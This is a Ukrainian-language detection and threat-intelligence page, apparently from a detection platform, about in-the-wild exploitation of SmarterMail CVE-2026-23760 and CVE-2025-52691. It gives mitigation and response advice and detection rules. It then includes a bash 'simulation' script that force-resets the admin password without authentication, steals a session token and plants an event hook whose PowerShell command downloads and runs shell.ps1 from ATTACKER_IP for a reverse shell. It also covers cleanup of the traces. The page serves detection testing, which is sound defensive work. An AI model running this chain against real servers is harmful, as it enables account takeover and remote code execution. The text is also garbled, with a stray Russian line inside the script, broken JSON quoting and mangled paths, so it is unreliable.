DE&TH до вразливостей: Huntress виявляє захоплення облікового запису SmarterMail, що призводить до виконання віддаленого коду (RCE)
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Huntress спостерігала використання в дикій природі двох вразливостей SmarterMail, які дозволяють захоплення привілейованих акаунтів і, в кінцевому рахунку, виконання коду віддалено. Зловмисники ініціюють неавтентифіковані потоки скидання пароля, щоб отримати привілейований токен, а потім використовують “системні події” SmarterMail для виконання команд для розвідки хосту. Діяльність вплинула на декількох клієнтів і проявила ознаки широкомасштабної автоматизованої експлуатації.
Розслідування
Аналітики Huntress відновили послідовність запитів HTTP POST до кінцевих точок API SmarterMail, які використовувалися для запуску скидань паролів, автентифікації, конфігурації системних подій, додавання доменів під контролем зловмисника, а потім видалення слідів. Цей ланцюг націлено на CVE-2026-23760 (захоплення привілейованих акаунтів) та CVE-2025-52691 (довільне завантаження файлів). Запити зазвичай використовували user-agent python-requests/2.32.4, а оператори залишали файли result.txt, що містять результати розвідки з виконаних команд.
Міграція
Оновіть SmarterMail до версії 9511 або пізнішої, щоб вирішити обидва CVE. Перегляньте та звузьте експозицію API, вимкніть або обмежте непотрібні системні події та слідкуйте за аномальною активністю API, яка змінює акаунти, події або домени. Визначте та видаліть будь-які системні події або домени, створені зловмисником, щоб усунути збереження загрози.
Відповідь
Полюйте за підозрілою схемою викликів API і user-agent python-requests/2.32.4, блокуйте IP-адреси джерел порушення та видаляйте шкідливі системні події. Негайно обертайте привілейовані облікові дані. Проведіть форензичний аналіз кінцевих точок, щоб знайти result.txt і перевірити, чи були додаткові об’єкти навантаження підготовлені. Повідомте постраждалих користувачів/клієнтів і надайте чіткі інструкції з усунення наслідків.
Потік атаки
Виявлення
Можливий пошук CVE-2026-23760 (SmarterMail) (через веб-сервер)
Переглянути
IOC (DestinationIP) для виявлення: DE&TH до вразливостей: Huntress ловець захоплення облікового запису SmarterMail, що веде до RCE Частина 2
Переглянути
IOC (DestinationIP) для виявлення: DE&TH до вразливостей: Huntress ловець захоплення облікового запису SmarterMail, що веде до RCE Частина 1
Переглянути
IOC (SourceIP) для виявлення: DE&TH до вразливостей: Huntress ловець захоплення облікового запису SmarterMail, що веде до RCE Частина 1
Переглянути
IOC (SourceIP) для виявлення: DE&TH до вразливостей: Huntress ловець захоплення облікового запису SmarterMail, що веде до RCE Частина 2
Переглянути
Захоплення облікового запису SmarterMail, що приводить до RCE [Веб-сервер]
Переглянути
Виконання симуляції
Попередня умова: пройшла перевірка телеметрії та базового рівня.
Наратив атаки та команди
- Розвідка: Зловмисник виявляє, що SmarterMail працює в версії, вразливій до CVE‑2026‑23760.
- Примусовий скидання пароля (T1098): Використання неавтентифікованого
force-reset-passwordкінцева точка для встановлення відомого пароля для привілейованогоадміністраторакуант. - Автентифікація (T1078): Вхід знову встановленими обліковими даними через
authenticate-userкінцева точка, отримуючи сесійну токен. - Розгортання шкідливого гачка подій (T1569): POST створений JSON-навантаження до
event-hookякий вказує на PowerShell зворотну оболонку, розміщену на сервері зловмисника. - Тригер виконання: Гачок подій автоматично запускається на веб-сервері, з’являючи зворотну оболонку для зловмисника.
- Очищення: Видалення шкідливого гачка через
event-hook-deleteкінцева точка (виключено з виявлення).
Усі кроки генерують події HTTP POST, які відповідають критеріям вибір правила Sigma.
Скрипт регресійного тестування
#!/usr/bin/env bash
# -------------------------------------------------
# Захоплення облікового запису SmarterMail та симуляція RCE
# -------------------------------------------------
SM_URL="https://smartermail.example.com"
ADMIN_USER="admin"
NEW_PASS="PwnedPass!2026"
ATTACKER_IP="10.10.14.5"
ATTACKER_PORT="4444"
# 1. Примусовий скидання пароля (неавтентифіковано)
curl -k -s -X POST "${SM_URL}/api/v1/auth/force-reset-password"
-H "Content-Type: application/json"
-d "{"username":"${ADMIN_USER}","newPassword":"${NEW_PASS}"}"
# 2. Автентифікація та захоплення токена сесії
TOKEN=$(curl -k -s -X POST "${SM_URL}/api/v1/auth/authenticate-user"
-H "Content-Type: application/json"
-d "{"username":"${ADMIN_USER}","password":"${NEW_PASS}"}"
| jq -r '.sessionToken')
# 3. Розгортання шкідливого гачка подій (RCE)
PAYLOAD=$(cat <<EOF
{
"event":"mail-received",
"command":"powershell -NoP -W Hidden -Exec Bypass -Command "Invoke-WebRequest http://${ATTACKER_IP}:${ATTACKER_PORT}/shell.ps1 -OutFile $env:TEMPshell.ps1; powershell -ExecutionPolicy Bypass -File $env:TEMPshell.ps1""
}
EOF
)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook"
-H "Content-Type: application/json"
-H "Authorization: Bearer ${TOKEN}"
-d "${PAYLOAD}"
найти следы ворд
"[+] Малicious event‑hook deployed. Awaiting reverse shell..."
# 4. (Необов'язково) Очікування зворотної оболонки – зловмисник запускає слухача окремо:
# nc -lvnp ${ATTACKER_PORT}
# 5. Очищення – видалення гачка (виключено з виявлення)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook-delete"
-H "Authorization: Bearer ${TOKEN}"
Команди очищення
#!/usr/bin/env bash
# Видалення будь-яких залишкових шкідливих гачків і скидання пароля адміністратора
SM_URL="https://smartermail.example.com"
ADMIN_USER="admin"
SAFE_PASS="OriginalStrong!Pass"
# Автентифікація зі збереженим паролем (якщо відомий) або використання попереднього токена
TOKEN=$(curl -k -s -X POST "${SM_URL}/api/v1/auth/authenticate-user"
-H "Content-Type: application/json"
-d "{"username":"${ADMIN_USER}","password":"PwnedPass!2026"}"
| jq -r '.sessionToken')
# Видалення шкідливого гачка подій (якщо все ще присутній)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook-delete"
-H "Authorization: Bearer ${TOKEN}"
# Скидання пароля адміністратора до відомого надійного значення
curl -k -s -X POST "${SM_URL}/api/v1/auth/force-reset-password"
-H "Content-Type: application/json"
-d "{"username":"${ADMIN_USER}","newPassword":"${SAFE_PASS}"}"